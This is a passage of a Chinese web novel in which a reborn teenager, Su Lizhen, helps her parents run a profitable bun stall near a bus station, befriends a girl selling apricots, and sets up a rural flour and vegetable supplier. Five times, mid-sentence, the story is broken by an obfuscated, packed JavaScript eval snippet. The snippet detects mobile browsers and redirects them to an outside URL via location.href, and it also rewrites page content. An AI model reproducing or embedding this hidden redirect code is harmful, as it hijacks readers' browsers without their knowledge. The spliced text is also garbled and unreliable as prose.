特别是后面有一些附近的居民路过这里,看到这边围了不少人,有好信的过来打听,听说这里卖的包子不但好吃、个大,还白送大骨汤,有人立时觉得划算,当场就跑回家取碗盆去了。 等又一拨儿从客运站出来的乘客过来,他们这次带来的一百一十五个包子就全都卖光了! 再看看时间,才刚到下午三点钟! 这个“开门红”让一家人都兴奋不已!尤其看着苏卫华手里那一大把黄黄绿绿的钞票,尽管都是些一毛几分的零散小票,可架不住整体的厚度喜人! 眼下一家三口都归心似箭,简单收拾了一下就准备回家。 不过苏丽珍抬头看了眼天空中仍然火热的大太阳,看到旁边卖杏子的小摊上那一摞草帽,想着今后天气肯定一天比一天热,家里也没有遮阳的凉帽,就打算给自己和父母都买一顶,以后出摊戴着。 “小哥,麻烦你,这草帽怎么卖?” 等对方闻声抬起头,苏丽珍这才看清那张掩在草帽下的脸,不由有些惊讶! 这竟然是个女孩子! 尽管面前这张脸蜡黄、消瘦,可同为女孩,她是无论如何也不会认错的! 更遑论对方的五官还生得十分好看。 之前因为他们的包子卖得好,吸引来了不少人,连带也有人光顾了旁边这个卖杏子、草帽的小摊。 那会儿苏丽珍自己也忙得焦头烂额,根本顾不上多看,再加上她依稀听见对方的声音有些低沉,就更加没想到对方不是男孩了。 这不就闹了误会? 她飞快扫了眼对方身上那过分肥大且摞满补丁的灰布褂子,下意识歉意道:“对不住,我看错了……” 没想到对方直接朝她咧嘴一笑,露出满口的白牙,浑不在意道:“没事!我都习惯了!” 她的声音还是比寻常女孩子粗了几分,但也不会特别夸张,注意听的话根本不会认错。 “你要买草帽是吧!五分钱一个,你随便挑!” 女孩说完就把那一摞草帽都塞到苏丽珍手上,任她挑选。 对方的热情直爽让苏丽珍很有好感,不过这些草帽一上手,她就发现这些编织品的做工十分精致,不由有些惊讶,“只要五分钱,这么便宜?” 不怪苏丽珍迟疑,她的想法多少还带了些上辈子在米国的习惯,下意识认定技艺高超的手工品价值不菲。 虽然知道眼下国内这类商品价格不会太高,却也绝对没想到会有这么低。 那女孩看到苏丽珍眼中的赞叹和吃惊,脸上的笑容倒是越发真挚了几分。 “小妹妹你是城里人不懂,这种稻草编的帽子不值钱,在我们乡下会编这玩意儿的一抓一大把!” 说着,瞥了眼听到她们谈话也好奇凑过来的苏卫华两口子,女孩又道:“你是想给你爸妈也买吧?今天我沾了你们不少光,连带也卖出去挺多杏子!” “喏,这些你随便挑三个,给我一毛钱就成,算我谢谢你们让我沾光!” 苏丽珍看出对方家境不大好,自然不想占这个便宜,就是平时精打细算惯了的李翠英也有些不落忍,毕竟对方看着也没比自家闺女大多少,也还是个孩子呢! 岂料那女孩十分坚持,最后还是只收了他们一毛钱。 苏丽珍看了眼对方干燥得裂了几道血口子的嘴唇,心念一动,回到摊子前取出一只干净的瓷碗,把锅里剩下的最后一点汤都盛了出来,端给了女孩。 “既然你把草帽便宜卖我,那我就请你喝碗汤吧!” 女孩看着碗里还飘着香气的大骨汤,嘴唇动了动,目光又下意识看向苏丽珍身后的苏卫华两口子。 李翠英便笑呵呵地冲她道:“喝吧,孩子!本来就是不要钱的,你别嫌乎就好!” 苏卫华也连连点头示意女孩快把碗接过去。 女孩眼中飞快闪过什么,接着便朝一家三口露出了一个大大的笑容,“不嫌、不嫌,是我沾了大便宜!谢谢姨、谢谢叔,谢谢小妹妹!” 说罢双手接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746376|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过苏丽珍递过来的汤碗,十分珍惜地小口小口喝了起来。 这样子看得苏卫华和李翠英两口子心里有些发酸。 家家有本难念的经啊! 等女孩喝完了汤,还碗时还特意往空碗里装了一捧杏子。 担心苏家人不肯要,女孩还不停强调,“小妹妹,姨、叔,我这杏子是山上采的,一点不值钱,你们就拿回去尝尝吧!” 说实话,苏卫华两口子是真不想白要,可是看着女孩那双真诚的大眼睛,这想要给钱的话就有些说不出口。 最后还是苏丽珍大大方方接了过来,微笑着道了谢。 上辈子在米国流浪的时候,做过洗碗工、拾荒者、乞丐的她深知,在生活面前,自尊有时是多么无用、有时又是多么重要。 “是个好孩子啊!”回去的路上,戴上草帽的夫妻俩还长吁短叹了一阵。 “以后咱们要是常来,有条件也多帮衬人一把吧,看着没比咱珍珍大多少呢!” 看着这样的爸爸妈妈,苏丽珍心里也软软的。尽管生活不易,可是这些困难从来不曾消磨掉他们内心的善良。 与来时的紧张忐忑不同,回程时一家人的心里都十分雀跃,就连脚下的步子都不由自主加快了许多。 等到了家,甚至还来不及把车上的东西归置好,苏卫华就迫不及待进屋把今天卖包子的钱一股脑掏出来,两口子一张一张细细数了起来。 一毛、两毛,一块、两块……最后竟然有十五块九毛整! 也就是说,今天他们一百一十五个包子,总共卖了十五块九毛钱! 再算成本: 包菜、大葱一毛六分钱; 粉条是去年机械厂集体给职工们采购的秋菜之一,价格要低于市价,一斤才三毛五。这次总共用了两斤,正好七毛钱; 猪肉四块五毛钱; 油盐佐料大概要八毛钱。 虽然各种佐料价格不低,但是这些东西买一回能用好几次,平均下来也不算太贵,这一项里主要还是油的费用高。 他们的素馅包子好吃,油放得多也是一方面。而大豆油如今凭票就七毛九一斤,去自由农贸市场买的话价格要八毛五到九毛,跟肉价也差不多了。 这样算下来,今天的包子成本大致是六块一毛六。 也就是说,刨去成本,他们今天总共挣了九块七毛四分钱,快接近十块了! 7. 第七章 听完闺女算的账,再瞅瞅桌子上那一沓的钱票子,苏卫华和李翠英好半天都缓不过神来! “我的天啊……我真不敢相信,就这么会工夫,咱就挣了这么多钱!”李翠英喃喃道。 “是啊,想不到这摆摊还真能挣到钱……”苏卫华高兴之余,心里还有那么一点复杂。 他没想到就今天小半天的时间,他们就挣到了自己以往五六天的工资,说没受到多少冲击那完全就是假的! 不过想到眼下能挣到钱,缓解家里的经济压力,让闺女安安心心上学,这就比啥都强! 夫妻俩着实激动了一阵子,不过等看到一旁正往小本上一笔一笔记录今天收入、支出的闺女时,两人这才慢慢冷静下来。 想起今天摆摊时,他们俩笨嘴拙舌、话都说不出来的样子,不禁有些羞愧。 李翠英有些不好意思道:“珍珍啊,今天多亏了你!我跟你爸实在是没用,差点拖了你的后腿!” 苏丽珍一听,赶忙放下笔,起身走到李翠英身旁,抱住她的手臂,又看了看苏卫华,说道:“妈、爸,你们别胡思乱想!哪有什么拖后腿,只不过是刚开始你们俩还不熟悉而已,毕竟万事开头难嘛!” “你们别看我今天表现的还不错,其实是有缘故的!” 见原本沮丧的父母都被自己的话吸引了注意力,她才煞有其事道:“你们不知道,我们班上有个同学,他妈妈就在国营副食店卖菜,听说还是‘三八红旗手’呢!” “他平时在班级里最喜欢模仿他妈卖菜的样子,学得有鼻子有眼儿的,常常把我们逗得哄堂大笑!我今天那些话也全都是学着他的样子来的!” 夫妻俩听完一脸恍然,难怪闺女今天卖包子时像模像样的,原来这里边还有这么个巧合。 苏丽珍见父母似乎相信了自己的说辞,悄悄松了口气,总算这个破绽也算圆了过去。 而为了转移父母的注意力,不让他们继续纠结今天的表现,苏丽珍马上又说起明天包子摊要做的各项准备。 已经被摆摊带来的利润彻底震住的苏卫华两口子,一听这个话题,果然又把心思重新放到了包子上。 关于今后每天要准备多少包子卖;还应该增加几种馅料;闺女带回来的那几个料方子里用哪个合适……这可都得好好商量商量! 总之因为心情太过振奋,一家人不知不觉竟说到了傍晚时分! 明明从中午到现在,他们三口人一共才吃了两个包子,可是他们居然一点没觉着饿! 不过今天对于苏家人来说是个特殊日子,值得庆祝!所以尽管家里没啥好菜,但是李翠英还是费心思做了四个菜:炒鸡蛋、花生米、凉拌萝卜干、肉沫炖粉条。 主食是就着炖粉条的锅边贴的苞米面饼子。 因为苏卫华不能喝酒,苏丽珍就特地泡了一壶茉莉花茶。 一家人以茶代酒,先满满地碰了一杯,然后就着这一桌简单的饭菜,每个人都吃得格外香甜。 当晚一夜好眠。 第二天清晨五点,李翠英就起床发面。 苏慧兰在自己的小屋里听见动静,也跟着起来给妈妈打下手。 等简单吃了点早饭,母女俩就推着三轮车出了门,直奔昨天苏丽珍去过的自由农贸市场采买。 因为今天来的比较早,母女俩赶上了早市,早市上的菜比平时还要便宜一点。 像包菜、胡萝卜、大葱之类的蔬菜放得住,她们就多屯了一些,而且这样大批量购买也可以跟卖家讲讲价。 等买好了蔬菜,又赶上几份卖粮食的,娘儿俩连着看了几家,总算凑足了一袋子白面,估摸着能有一百多斤了! 面粉今后肯定要大量用的,苏丽珍其实很想找一个稳定的供货源。只可惜如今家庭联产承包责任制还没有正式推行,也不是每个农户手里都有大米白面这样的精细粮售卖。 就跟买肉一样,很多时候也是碰运气! 不过显然,今天她们的运气足够好,不但买到了不少面粉,猪肉也买的很顺利。 卖肉的摊子上还是昨天那位大叔,他一眼认出了苏丽珍,再加上母女俩今天买的肉更多,所以今天也照例送了她们两根大骨棒。 其中有一根上面还带了点肉呢! 从市场出来,她们又到日杂店买了一刀装包子用的油纸,预备给没带饭盒的顾客。 买齐了要用的东西,等母女俩推着一车的菜肉回到家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746377|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间刚好七点钟。 苏卫华早早就守在家附近的胡同口,帮她们一起把车推进院子后,立刻就回屋把一早准备好的凉白开端给娘儿俩喝。 李翠英和苏丽珍只休息了一小会儿就挽起袖子开始干活。 洗菜、剁馅、擀皮、包包子、熬汤,这一忙就是三个小时! 今天的包子还是一荤一素,肉包子基本跟昨天一样;只素馅包子,李翠英又往包菜粉条馅里加了些胡萝卜,丰富口感。 而数量则是结合家里现有的所有蒸屉容量,总共做出了二百一十个大包子,比昨天多了将近一百个! 最后,将蒸好的包子蒸笼装上车,等他们赶到客运站的时候,已经是上午十点半了! 虽然来得比昨天早,但是苏卫华两口子却比昨天更紧张。 毕竟才开始卖,谁也说不准昨天有多少是因为赶巧运气好的缘故。 尤其是今天他们赶在了饭点前,客运站大门东边还有家不小的国营饭店,店里也有面点,两边的时间撞在一起,说不定会受些影响。 不过苏丽珍也不太担心,毕竟他们的包子个大味美,价格更没越过国营饭店,最关键的是完全不要票! 再加上现在人还没意识到的服务意识,凭这些她就不怕包子会卖不出去! 果然,事实证明她的想法没错! 一拨儿、一拨儿旅客从客运站出来,因为临近饭点,不少人循着香味就会停下,顺便在他们摊子上买一、两个包子。 再加上有免费的大骨汤,吃着包子、喝着汤,这一顿就相当于有吃有喝了! 尤其是如今这美食不算丰富的年月,这样的吃喝质量就不低了,称得上一句“好吃又实惠”! 所以这摊子上的人几乎就没断过! 即便身后的国营饭店十一点开始营业了,也没怎么影响到他们。 毕竟相比国营饭店那些收了钱、票却动不动就甩脸子的服务员,苏丽珍一家三口时时笑脸相迎,绝对热情又周到。 能花最少的钱吃饱喝足,味道又好,还不用去看别人的脸色,这包子摊上的客人可不就越来越多了嘛! 中午十二点刚过,包子就再次卖光了,一个都没剩! 8. 第八章(捉虫) 向买不到包子的客人道了歉,苏丽珍擦了擦头上的汗水,一转头就看见妈妈正端着一碗汤给坐在树下休息的爸爸递过去。 结果苏卫华却不肯喝,要让李翠英先喝一口,他才肯喝第二口。 看着父母脸上那掩不住的高兴,苏丽珍也不自觉笑了。 等两口子发现闺女站在那里看着他们俩傻笑,也忍不住跟着笑起来,“傻丫头,快过来,妈给你盛碗汤,累坏了吧!” 想着今天的包子多,他们今天特意换了个最大号的锅熬大骨汤。 这会儿包子卖掉了,汤还剩了不少。 苏丽珍回过神,刚要说自己来,余光就发现旁边卖杏子的女孩正一脸羡慕地看着他们一家三口。 她忙开口招呼道:“小麦,今天谢谢你帮忙,我盛碗汤给你喝!” 卖杏子、草帽的女孩叫林小麦,今天一看见他们过来就十分热情地把有树荫的位置让出了一半。 先前卖包子人最多的时候,也主动过来帮忙招呼客人,性格很是大方爽快。 苏丽珍话音刚落,那边李翠英就连拍自己脑门,“嗐,看我,应该先给小麦端一碗才是!” 又朝林小麦招手,“来,孩子,正好我们还带了二合面馒头,你也过来一起填填肚!” 因为不知道今天的包子会卖到什么时候,所以临出门前李翠英特地在蒸屉里多放了几个杂面馒头准备当午饭。 林小麦却不肯过来,直摆手道:“不行不行,这点小事算啥!其实我今天也一样沾了你们的光,我这一筐杏子这会儿都卖得差不多了,以往可从来没卖这么好过!” 苏家人劝了半天,她最后只是接过了苏丽珍手里的汤碗,到底还是没收李翠英的馒头。 对此,苏丽珍也能理解。 别看现在日子照比从前好过不少,可粮食还是精贵的。 通过昨天的一番接触,她也看出来这个女孩子是个有坚持的人,外表看上去大大咧咧,处事却十分有分寸,很容易让人产生好感。 说实话,摊子边有个这样的邻居,苏丽珍还是很高兴的! 简单休息了一会儿,一家人告别林小麦,高高兴兴推车回家。 结果车子刚拐进胡同,老远就看见自家门口蹲了个熟悉的身影! 苏丽珍推车的手当即轻颤了一下。 哪怕事隔多年,她还是一眼就认出了对方,“爸、妈,是大勇哥吧!” 苏卫华两口子看见来人,脸上的笑容却更盛了。 丁大勇是苏卫华在机械厂带的小徒弟,别看长得人高马大,可实际上他前年才进的厂,今年刚满十八岁。 苏卫华看他年纪小,家里又困难,所以一直对他十分照顾。 师徒俩关系处得好。自打苏卫华生病退休后,丁大勇差不多每个星期都要过来看望师父一回。 每次来都会主动帮苏卫华两口子干活,数年未曾间断过。 苏丽珍想起上辈子,在外人眼里,比起她这个自私的女儿,丁大勇这个徒弟才更像苏家的孩子。 她想起那年,她疯了一样非要去米国找那个人,父亲苦劝无果,对她失望至极,一气之下不久就喝了农药。 等她闻讯赶到医院时,医生已经宣告了父亲医治无效。 在医院那灰突突的走廊里,当时他看着她的眼神,悲愤、痛恨、憎恶,就像一把把的尖刀子,能直接扎到她的灵魂里。 此刻的苏丽珍面色有些发白,一只手下意识伸进衣兜里,那里有一枚别针。 食指和拇指稍微用力,打开别针,将指头对着锋利的针尖按了一下,尖锐的刺痛立时让她镇定了不少。 这样的疼痛能让她清醒地意识到,她已经重生了,她不再是上辈子那个混账的苏丽珍! 另一边,丁大勇也老远就看见苏家人推着这一车锅碗盆桶回来,立马就大步迎了过来。 “师父、师娘,你们这是干啥去了?咋装这么多东西啊?” 苏卫华两口子听他问起这个,原本有点不大自在,不过想起闺女说过,摆摊也是凭自己劳动挣钱,没啥大不了的,索性直接告诉对方自己这半天是摆摊去了。 丁大勇听说师父一家出去摆摊卖包子,先愣了一瞬,很快反应过来,就连连点头,“这倒是个好主意,我师娘手艺那么好,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746378|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙儿一准喜欢,肯定错不了!” 苏卫华夫妻看他这话说得发自肺腑,并没有流露出丝毫的反感,心里更是高兴。 毕竟丁大勇不是别人,如果他也觉着有这样出去当小贩的师父丢人的话,两口子虽然多少能理解,可必定也会伤心。 三人说得热络,这时李翠英发现闺女一直没出声,回头一看,才发现这孩子小脸煞白,立时吓了一跳。 “珍珍,你这是咋了?是哪里不得劲吗?” 苏卫华和丁大勇闻声也注意到苏丽珍脸色不好,丁大勇不由道:“哎呀,师妹这是不是中暑了?” 苏丽珍刚刚稳住心绪,见眼前的三人面露担心,连忙摇头道:“爸、妈,我没事!咱们这一路都有阴凉,我没怎么晒到。” 两口子再三确认她没事,这才松了口气,转头又招呼丁大勇进屋。 “师父、师娘,今早我表舅给我们家送来了不少菜,我们家吃不了,就给你们拿来点。” 丁大勇背了个大背筐过来,里头好几种蔬菜,有韭菜、芹菜、西红柿、辣椒,最底下还有不少新鲜的豌豆。 “哎呀,大勇,你这拿的也太多了!是不是把你们家都搬空了!” 李翠英看着这满满登登的大背筐,忍不住嗔道。 丁大勇憨厚地挠了挠后脑勺,笑呵呵道:“师娘,看您说的!是我表舅家送过来的,他们家自留地里的菜现在都下来了,多得吃不完!” 正给丁大勇倒水的苏丽珍听了,心头微动。 她记得大勇哥表舅家所在的大队距离凤城有二十七、八里路,算是在周边几个公社里离得最远的大队之一了! 那边地多人少,土质又好,光是家家自留地里产出的东西就不少。 只可惜他们大队到市里来回一趟就有五十多里,社员想把自家吃不了的粮食和蔬菜卖到城里可不怎么轻松。在这一点上,相比其他离省城只有几里路的大队来说,实在很吃亏。 再加上许多人一辈子连公社都没去过几回,让他们自己进城卖东西绝对是打怵! 不过,苏丽珍却觉得眼下这对他们家来说是一个好机会! 9. 第九章 她可以在那边大队找一个可靠的人,让那人出面收购队里其他社员家里吃不了的面粉、肉蛋和蔬菜,然后给他们送来! 不管对方在当地的收购价是多少,她能保证自己这边的价格绝对不会低于市价!这样,对方就相当于一个中间商的角色,不需要多少本钱,纯粹是靠跑腿。 而对他们家来说,因为不需要每天推着三轮车从农贸市场往返,既可以节省一部分时间,也能减轻爸妈的负担。 而眼下那位大勇哥家的表舅就是个挺合适的人选。 她记得爸妈以前提起过,丁家这位表舅为人很好,在大勇哥家日子还不错的时候,从没想着占过他们家便宜,反而是后来丁家接二连三出事,家境艰难的时候多次伸手帮衬。 跟这样的人合作肯定更有保障! 心里有了主意,苏丽珍立时接话道:“大勇哥,你表舅那边现在日子怎么样?” 丁大勇没想到这个素来十分内向的小师妹今天会主动跟自己说话,稍微惊讶了一下,很快笑着回道:“咱们这儿地多,其实我表舅他们一直也没怎么饿着过肚子,就是一年到头看不见活钱。” “好在现在政策宽松了不少,他们也能多养几只鸡鸭、猪崽子,这手头好歹存下一点,不至于像头几年连盒火柴都要算计着买!” 苏丽珍点了点头,马上又跟苏卫华两口子商量:“爸、妈,咱们家的摊子以后肯定要用不少东西,我看咱们不如让大勇哥的表舅帮忙在他们屯子里收购大伙儿家里吃不完的面粉、蔬菜之类。” “回头咱再按市价直接在大勇哥表舅那里购买,这样咱们有了稳定的供货源,就不用担心哪天面粉会断货了!” 苏卫华两口子听完都觉得这主意好,虽然现在不缺粮食,可细粮还是紧俏货! 他们家以后每天至少要用二十多斤的面粉,光靠在农贸市场那里碰运气确实不够稳妥。 而且他们俩都知道丁大勇家里的情况,也常听他提起这位忠厚的表舅是个可靠人,有这么个中间人供货,他们也放心不少! 两口子越想、越觉得这是个好主意,赶忙转头征求丁大勇的意见,“大勇,你觉得珍珍这主意咋样?你表舅能答应吗?” 怎么不能?简直太能了! 丁大勇这会儿特别高兴,其实之前小师妹刚说起这事的时候,他就想一口答应下来,不过怕师父师娘为难,所以才没敢直接应下! 现在表舅在乡下,虽然不缺粮吃,可手头没钱,表弟表妹们上不起学,生病了更是连医院都不敢去! 早先自由市场刚兴起那会儿,表舅也曾硬着头皮把家里的粮食背出来卖,可道远难走不说,遇上近郊那些大队的人,还总会吃闷亏。 那些人仗着距离便利在市场里互相拉帮结伙占地盘、打价格战,逼得表舅半天卖不出二斤粮,所以表舅不得已也歇了这份心思。 打从兄姐和父亲相继过世后,除了他妈,师父和表舅就是对他最好的两位长辈,他比谁都希望两人能过得好! 而依照小师妹这个主意,既能给师父带来便利,表舅也能挣到钱,一下子让他最看重的两位长辈都得了实惠,他自然比谁都高兴! “师父、师娘,小师妹这个主意好!你们也不用问我表舅了,这事我就能做主,他肯定答应!” 看丁大勇这样的反应,苏卫华两口子也放心不少。 合作讲究个你情我愿,越是熟人越得注意人家的真心想法,要不然迟早变成仇。 四人又简单商量了一会儿,丁大勇呆不住,说话就要回厂子里借自行车,说等下午下班后就去找他表舅。 两口子看离机械厂上班时间没差多久,就没留他,把人送到门口叮嘱一句“注意安全”,笑呵呵看着他大步往厂子里跑去了。 等回头就发现闺女已经埋头开始收拾三轮车上的锅碗瓢盆,两口子不由相视一笑。 李翠英美滋滋地小声道:“卫华,我发现咱闺女现在越来越懂事了,而且还贼聪明!” 苏卫华心情好,也乐得配合她,“对对,像你!” “那可不!”李翠英立马骄傲地扬起了脸。 谁知道苏卫华紧接着就补了一句:“是模样像你,其实脑子随我!” “你个滑头!”李翠英抬手就轻捶了他一记,“还消遣起我来了!” 苏卫华刚想张口反驳,就听那边苏丽珍喊他们:“爸、妈,大勇哥拿来的西红柿可甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746379|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我洗好了,你们赶快来尝尝!” “哎!” 两口子齐齐应了一声,脸上的笑容比头顶正午的阳光更灿烂。 丁大勇是个急性子,第二天早上六点刚过,就带着他表舅一块来了! 舅甥俩是推着自行车来的,车后座上绑着两个大箩筐,一边筐里是一袋子面粉,另一筐则装满了包菜、芹菜之类的蔬菜。 丁家表舅自己的背筐里还装了三十个鸡蛋! 苏家人没想到他们动作这么快,就一个晚上,人家干脆把东西都给他们带来了! “师父、师娘,这不是昨天我借了自行车去给我舅送信吗?正好我舅家里就有面粉,我昨晚就直接帮他先运过来了!” 丁家表舅姓张,四十出头的年纪,看着却比实际年龄老相。 这也是个实诚人,因为惦记着买卖的事,今天早上三点半就出门了! “那啥,苏家大兄弟,俺都听俺们大勇说了,你平时就挺照顾他的,现在又照顾俺!俺、俺那啥谢谢你们!” 苏卫华忙摆手,“张大哥,你太客气了!啥照顾不照顾的,咱这都是双向的,其实我也该谢谢你!” 看苏卫华这样和气,张表舅憨厚的脸上也露出了笑容。 两边就以后收货的事商量好了细节,定下了收购的物品种类、价格,以及下一次的送货时间。 苏卫华这边先支付一半定金,余款等交货时结算。 当然付定金前,得先把张表舅这次送来的东西结清。 算账时,张表舅坚持要把那一大筐的蔬菜白送给他们,苏家人自然不肯,昨天丁大勇送来的也就罢了,一码归一码,这种便宜他们不能占。 见苏家人这样宽厚,张表舅十分高兴,保证自己下次一定准时来送货。 有了张表舅定时定量来送做包子的原料,苏家人的工作量果然减轻了不少,最起码不用每天早上着急火燎地推着笨重的三轮车往自由市场跑了! 只可惜最难办的猪肉问题还是没法解决! 随着天气越来越炎热,自由市场现在基本上三五天能碰到一份卖新鲜猪肉的就算不错了,而且每次买肉都像打架,稍微去晚一点就啥都不剩了! 10. 第十章 张表舅那边也没啥好办法,眼下这时节,谁家要不是赶上个红白喜丧的,轻易也不会杀猪。 大伙儿还都盼着让猪多吃些猪草,好长肥膘呢! 他只能说尽量帮忙留意,基本还是靠运气。 好在他们大队养鸡的不少,鸡蛋倒是能供得上。 鸡蛋现在也是好东西,因为好吃又营养,虽然比不上肉,可也不便宜。农贸市场那边,一斤鸡蛋的价格在五毛到六毛之间。 买不到猪肉,包不了肉包子的时候,李翠英就换韭菜鸡蛋馅儿和西葫芦鸡蛋馅儿,味道照样十分鲜美,这个时节吃起来也不错。 至于价格,比素馅的提个两、三分钱,利润也很可观。 没有猪肉,大骨头就更费劲了!苏丽珍索性把赠送的大骨汤换成了应景的的绿豆汤,清热解暑,大伙儿也都挺喜欢。 毕竟大骨汤虽好,可在这酷暑难耐的日子里还是有点腻歪。 而苏家的绿豆汤是每天早上就熬好的,放凉后一直用井水湃着,等到了客运站,苏丽珍还会特意到副食店买回几只冰棒投在汤桶里。 这样绿豆汤的口感更加冰凉爽口,大热天的喝上一口,那股子沁凉一下从喉咙口蹿到四肢百骸! 对那些在闷热不透气的长涂汽车上憋了好几个小时的客人来说,再没有比喝上这一碗又甜又凉的绿豆汤更叫人舒心的了! 他们家的包子本来就好吃实惠,再加上还白送这么精心制作的绿豆汤,摊子上的生意就更加红火了,每天两百多个包子根本不够卖。 苏卫华两口子只得又追加了几个蒸屉,现在每天能出三百多个包子。 尽管如此,包子还是供不应求。他们每天早上十点多出摊,几乎下午一两点钟就卖完了! 苏卫华和李翠英尝到了甜头,有心再加一组蒸屉,却被苏丽珍果断拦住了。 卖包子挣钱不假,可每天三百多个包子,光是和面、剁馅、擀皮这一套流程下来就不轻松了,更不消说还要推着车子风里来、雨里去地出摊! 他们家里她自己人小、力气小,只能充半个劳力;苏卫华身体不好,不能劳累,几乎重担都压在了李翠英一个人身上。 虽然她也很想趁着如今市场大、竞争小的时候尽可能多卖一些,可她没忘了自己急于挣钱就是为了让父母过上好日子。 总不能在他们家步入稳定富裕前,先把两人累出个好歹来,那就是本末倒置了! 苏卫华两口子都不是听不进劝的人,见女儿这样担心他们,心里熨帖,也就不再坚持了。 毕竟现在他们每天的净利润就能达到三十块,十天挣得钱就赶上过去苏卫华半年的工资,他们也知足了! 而在老苏家的包子摊一片红火兴隆之际,七月中旬,苏丽珍的中考成绩也出来了。 照比前两年的中专录取分数线差了将近二十分,考中专基本是没什么希望了。 自78年以来,由于国家各行各业的人才缺口巨大,各地中专院校开始提前招收优秀的初中毕业生。 相比考大学,中专毕业后同样是干部出身,且国家包分配,也不用多花三年时间念高中,所以初中毕业直接上中专才是时下人们眼中的最优选。 不过,这时能考上中专的学生基本也都是学校里的尖子生。一所中专的录取分数线往往比当地最好的重点高中还要高出一大截! 苏丽珍文科成绩还好,理科就比较拉跨,平时成绩大致能保持在班级前五。 只是她所在的初中教学水平一般,在凤城所有的中学里只能排个中等,所以别看她这次的成绩比以往中专分数线低了二十分,其实她这已经算是发挥的很好了。 不过她打从上了初中开始,性格就越来越内向,平时也不怎么跟苏卫华和李翠英交流,加上两口子也不太懂学习上的事,所以一听说闺女的成绩在班级前五,就一直以为她学习很好。 这回听说闺女恐怕考不上中专,两口子虽说心里避免不了的有点失落,可他们早已做好了心理准备,也约定好不会在这事上说闺女,所以现在反过来还担心苏丽珍难受上火。 夫妻俩在屋里嘀嘀咕咕了一会儿,最后还是李翠英打头,对正在厨房里忙活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746380|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的苏丽珍小心翼翼道:“珍珍啊,别忙了,你大清早就跑了趟学校,怪累的!还是歇会儿吧……要不妈给你拿钱,你叫上同学去南湖公园划船去?” 苏卫华也紧跟着说:“对,划完船就去国营饭店吃点好的,然后再去看个电影啥的,听说电影院这个月又有新片子了!” 这熟悉的套路,听得苏丽珍哭笑不得,但是心里也格外温暖! 她放下手里的活,抬头对两人认真说道:“爸、妈,我哪儿也不去,就在家里跟你们一起卖包子!” “你们也不用担心我!老师说过我这次的成绩上重点高中还是没问题的,我向你们保证,等上了高中我一定好好学,将来肯定给你们考个大学回来!” 看闺女这番话说得掷地有声,夫妻俩松了口气的同时,又深感欣慰,觉得女儿是真的长大了! 因为苏丽珍说什么也不肯出去散心,夫妻俩拧不过她,最后还是带着她一起出摊了。 不过这么一耽搁,今天就比平时晚了半个多小时。 只是当一家人推着车子走到距离客运站四五十米远的岔路口时,突然发现林小麦站在前面大树荫底下,不停地左右张望,神色也有些焦急。 随着摆摊时间长了,他们跟林小麦也越发熟稔起来。这个女孩性格直爽、待人热情,看上去似乎是和苏丽珍完全不同的性子,可两人却意外的对盘,关系十分融洽。 而苏卫华夫妻俩也很喜欢这孩子,看她一个人摆摊辛苦,就三不五时给她端个包子、馒头或者汤汤水水。 林小麦也常把她摊子上的山杏、毛桃送给他们吃,赶上他们卖包子人多忙不开时,就经常主动过来帮忙。 眼下见她神色不好,一家人都以为她遇上什么事了,正想出声叫住她问问,对面林小麦已经看见了他们,赶忙几步迎上来:“叔、婶,珍珍妹子,你们可算来了! 然后也不等他们开口,接着又说了一句让所有人大吃一惊的话! 